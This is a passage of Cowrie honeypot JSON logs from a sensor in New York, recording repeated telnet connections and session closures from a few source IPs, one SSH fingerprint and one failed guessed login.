{"eventid":"cowrie.session.closed","duration":31.220566749572754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:01.674487Z","src_ip":"198.50.122.223","session":"39adefd3a727","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.71634292602539,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:01.789452Z","src_ip":"198.50.122.223","session":"82c238cdb92d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:01.848322Z","src_ip":"103.228.69.212","session":"2947db48e9e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34304,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe8838ca76e9","protocol":"telnet","message":"New connection: 198.50.122.223:34304 (10.17.0.5:23) [session: fe8838ca76e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:02.060781Z"}
{"eventid":"cowrie.session.closed","duration":31.438647508621216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:02.515998Z","src_ip":"198.50.122.223","session":"28bb80194227","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.411189556121826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:02.538042Z","src_ip":"198.50.122.223","session":"deb4a2ae033b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41410,"dst_ip":"10.17.0.5","dst_port":23,"session":"a99580af730a","protocol":"telnet","message":"New connection: 198.50.122.223:41410 (10.17.0.5:23) [session: a99580af730a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:02.569502Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test54321","message":"login attempt [test/test54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:02.807605Z","src_ip":"103.228.69.212","session":"2947db48e9e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43490,"dst_ip":"10.17.0.5","dst_port":23,"session":"96582be6c8a8","protocol":"telnet","message":"New connection: 198.50.122.223:43490 (10.17.0.5:23) [session: 96582be6c8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:02.918736Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43502,"dst_ip":"10.17.0.5","dst_port":23,"session":"7553b4d848d0","protocol":"telnet","message":"New connection: 198.50.122.223:43502 (10.17.0.5:23) [session: 7553b4d848d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:02.924399Z"}
{"eventid":"cowrie.session.closed","duration":31.069243669509888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:03.259893Z","src_ip":"198.50.122.223","session":"611c5866eef6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44830,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd425c07d90","protocol":"telnet","message":"New connection: 198.50.122.223:44830 (10.17.0.5:23) [session: acd425c07d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:03.296947Z"}
{"eventid":"cowrie.session.closed","duration":30.466513872146606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:03.308351Z","src_ip":"198.50.122.223","session":"3479f0de8765","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26089906692505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:03.391620Z","src_ip":"198.50.122.223","session":"601109978a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45284,"dst_ip":"10.17.0.5","dst_port":23,"session":"60478437c4a8","protocol":"telnet","message":"New connection: 198.50.122.223:45284 (10.17.0.5:23) [session: 60478437c4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:03.408438Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45588,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d043bdba468","protocol":"telnet","message":"New connection: 198.50.122.223:45588 (10.17.0.5:23) [session: 8d043bdba468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:03.471734Z"}
{"eventid":"cowrie.session.closed","duration":30.824092626571655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:03.517825Z","src_ip":"198.50.122.223","session":"c8e3a724041e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46224,"dst_ip":"10.17.0.5","dst_port":23,"session":"993b1c55bb81","protocol":"telnet","message":"New connection: 198.50.122.223:46224 (10.17.0.5:23) [session: 993b1c55bb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:03.556704Z"}
{"eventid":"cowrie.session.closed","duration":31.458358764648438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:03.636106Z","src_ip":"198.50.122.223","session":"ca4eb776b1da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.639368295669556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:03.693453Z","src_ip":"198.50.122.223","session":"0891bfb0ff62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:04.041678Z","src_ip":"103.228.69.212","session":"2947db48e9e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.936435222625732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:04.192545Z","src_ip":"198.50.122.223","session":"3158d879f852","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48992,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5d75b6df6ba","protocol":"telnet","message":"New connection: 198.50.122.223:48992 (10.17.0.5:23) [session: d5d75b6df6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:04.214311Z"}
{"eventid":"cowrie.session.closed","duration":31.169496774673462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:04.300312Z","src_ip":"198.50.122.223","session":"51724f76ae0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46389627456665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:04.345654Z","src_ip":"198.50.122.223","session":"4689a62cb8d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51470,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e6d7fabbd63","protocol":"telnet","message":"New connection: 198.50.122.223:51470 (10.17.0.5:23) [session: 7e6d7fabbd63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:04.636574Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":27940,"dst_ip":"10.17.0.5","dst_port":23,"session":"76d61e0bbaae","protocol":"telnet","message":"New connection: 154.110.11.213:27940 (10.17.0.5:23) [session: 76d61e0bbaae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:04.738847Z"}
{"eventid":"cowrie.session.closed","duration":31.677904844284058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:04.942300Z","src_ip":"198.50.122.223","session":"4a1c2c276927","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53386,"dst_ip":"10.17.0.5","dst_port":23,"session":"40fd707d6489","protocol":"telnet","message":"New connection: 198.50.122.223:53386 (10.17.0.5:23) [session: 40fd707d6489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:05.084799Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55024,"dst_ip":"10.17.0.5","dst_port":23,"session":"e073b5c6d17b","protocol":"telnet","message":"New connection: 198.50.122.223:55024 (10.17.0.5:23) [session: e073b5c6d17b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:05.486734Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55130,"dst_ip":"10.17.0.5","dst_port":23,"session":"589e214eb365","protocol":"telnet","message":"New connection: 198.50.122.223:55130 (10.17.0.5:23) [session: 589e214eb365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:05.503524Z"}
{"eventid":"cowrie.session.closed","duration":31.059964895248413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:05.748032Z","src_ip":"198.50.122.223","session":"aa4e253328f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.62660837173462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:05.997976Z","src_ip":"198.50.122.223","session":"81f61d4f92f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.676156282424927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:06.408215Z","src_ip":"198.50.122.223","session":"bb23b24c6cf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.391576528549194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:06.563441Z","src_ip":"198.50.122.223","session":"e66b6bfaa760","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.450387477874756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:06.568770Z","src_ip":"198.50.122.223","session":"6ff45b76a799","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60244,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8908e1aca0b","protocol":"telnet","message":"New connection: 198.50.122.223:60244 (10.17.0.5:23) [session: a8908e1aca0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:06.642764Z"}
{"eventid":"cowrie.session.closed","duration":31.651028871536255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:06.708198Z","src_ip":"198.50.122.223","session":"a93eb1312b80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80652117729187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:06.907116Z","src_ip":"198.50.122.223","session":"ddb5fe2c4357","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.089046239852905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:07.127946Z","src_ip":"198.50.122.223","session":"a1dcd81980d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01129460334778,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:07.226048Z","src_ip":"198.50.122.223","session":"1953435f87e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108531713485718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:07.368126Z","src_ip":"198.50.122.223","session":"aa343fc2dd81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38972806930542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:07.520310Z","src_ip":"198.50.122.223","session":"7528c795208e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060917139053345,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:07.797685Z","src_ip":"198.50.122.223","session":"7d99f768ea68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599782705307007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:08.404429Z","src_ip":"198.50.122.223","session":"6854f8a34075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.371593236923218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:08.415609Z","src_ip":"198.50.122.223","session":"465a9d61752b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40850,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea265a3c6f45","protocol":"telnet","message":"New connection: 198.50.122.223:40850 (10.17.0.5:23) [session: ea265a3c6f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:08.450938Z"}
{"eventid":"cowrie.session.closed","duration":31.317400217056274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:08.455571Z","src_ip":"198.50.122.223","session":"07f45463a788","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.348045349121094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:08.674027Z","src_ip":"198.50.122.223","session":"87aaa1da2fbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48648,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cffbc76dc0d","protocol":"telnet","message":"New connection: 198.50.122.223:48648 (10.17.0.5:23) [session: 9cffbc76dc0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:10.108424Z"}
{"eventid":"cowrie.session.closed","duration":31.169660568237305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:10.474119Z","src_ip":"198.50.122.223","session":"1f9b83098310","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.097851276397705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:10.484701Z","src_ip":"198.50.122.223","session":"235e08651ddc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.899633407592773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:10.568215Z","src_ip":"198.50.122.223","session":"2a3430e8a6b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47146,"dst_ip":"10.17.0.5","dst_port":23,"session":"44ff55065178","protocol":"telnet","message":"New connection: 198.50.122.223:47146 (10.17.0.5:23) [session: 44ff55065178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:10.715470Z"}
{"eventid":"cowrie.session.closed","duration":0.005226850509643555,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:10.720566Z","src_ip":"198.50.122.223","session":"44ff55065178","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52230,"dst_ip":"10.17.0.5","dst_port":23,"session":"1424c212c3b8","protocol":"telnet","message":"New connection: 198.50.122.223:52230 (10.17.0.5:23) [session: 1424c212c3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:10.800537Z"}
{"eventid":"cowrie.session.closed","duration":31.4054217338562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:10.841552Z","src_ip":"198.50.122.223","session":"ddd734e071dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53334,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe758e0d9c14","protocol":"telnet","message":"New connection: 198.50.122.223:53334 (10.17.0.5:23) [session: fe758e0d9c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:10.998960Z"}
{"eventid":"cowrie.session.closed","duration":31.100150108337402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.151976Z","src_ip":"198.50.122.223","session":"fe3946ed1dad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02560830116272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.218462Z","src_ip":"198.50.122.223","session":"73c35afe977e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97619366645813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.230777Z","src_ip":"198.50.122.223","session":"ab693795e10a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885284423828125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.273867Z","src_ip":"198.50.122.223","session":"c42f6b745213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54510,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3532cce6858","protocol":"telnet","message":"New connection: 198.50.122.223:54510 (10.17.0.5:23) [session: f3532cce6858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.317563Z"}
{"eventid":"cowrie.session.closed","duration":30.68181872367859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.426975Z","src_ip":"198.50.122.223","session":"b406fdb6600b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55170,"dst_ip":"10.17.0.5","dst_port":23,"session":"34ffd1020a75","protocol":"telnet","message":"New connection: 198.50.122.223:55170 (10.17.0.5:23) [session: 34ffd1020a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.464613Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55236,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e5836620b44","protocol":"telnet","message":"New connection: 198.50.122.223:55236 (10.17.0.5:23) [session: 8e5836620b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.483353Z"}
{"eventid":"cowrie.session.closed","duration":31.43832015991211,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.503895Z","src_ip":"198.50.122.223","session":"50402435fae4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00154137611389,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.574994Z","src_ip":"154.110.11.213","session":"65ade0ace991","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50948,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e4cf4b05958","protocol":"telnet","message":"New connection: 198.50.122.223:50948 (10.17.0.5:23) [session: 5e4cf4b05958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.597037Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55956,"dst_ip":"10.17.0.5","dst_port":23,"session":"705394787a32","protocol":"telnet","message":"New connection: 198.50.122.223:55956 (10.17.0.5:23) [session: 705394787a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.612492Z"}
{"eventid":"cowrie.session.closed","duration":31.069499015808105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.635374Z","src_ip":"198.50.122.223","session":"cf128b953046","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.194923877716064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.703003Z","src_ip":"198.50.122.223","session":"0316ad4e04b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.684458017349243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.809002Z","src_ip":"198.50.122.223","session":"41c52a151fa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.78373908996582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.828814Z","src_ip":"198.50.122.223","session":"7f36e306e02e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.001305103302,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.854746Z","src_ip":"154.110.11.213","session":"c53f9f7df3a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":2831,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3e0c9b41952","protocol":"telnet","message":"New connection: 154.110.11.213:2831 (10.17.0.5:23) [session: a3e0c9b41952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:11.863370Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":4490,"dst_ip":"10.17.0.5","dst_port":23,"session":"56341b583b5b","protocol":"telnet","message":"New connection: 154.110.11.213:4490 (10.17.0.5:23) [session: 56341b583b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:12.139404Z"}
{"eventid":"cowrie.session.closed","duration":30.790512800216675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:12.273921Z","src_ip":"198.50.122.223","session":"33866e319bcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59216,"dst_ip":"10.17.0.5","dst_port":23,"session":"f027a38a8d42","protocol":"telnet","message":"New connection: 198.50.122.223:59216 (10.17.0.5:23) [session: f027a38a8d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:12.332494Z"}
{"eventid":"cowrie.session.closed","duration":30.41082262992859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:12.371430Z","src_ip":"198.50.122.223","session":"603534ef70cb","protocol":"telnet"}
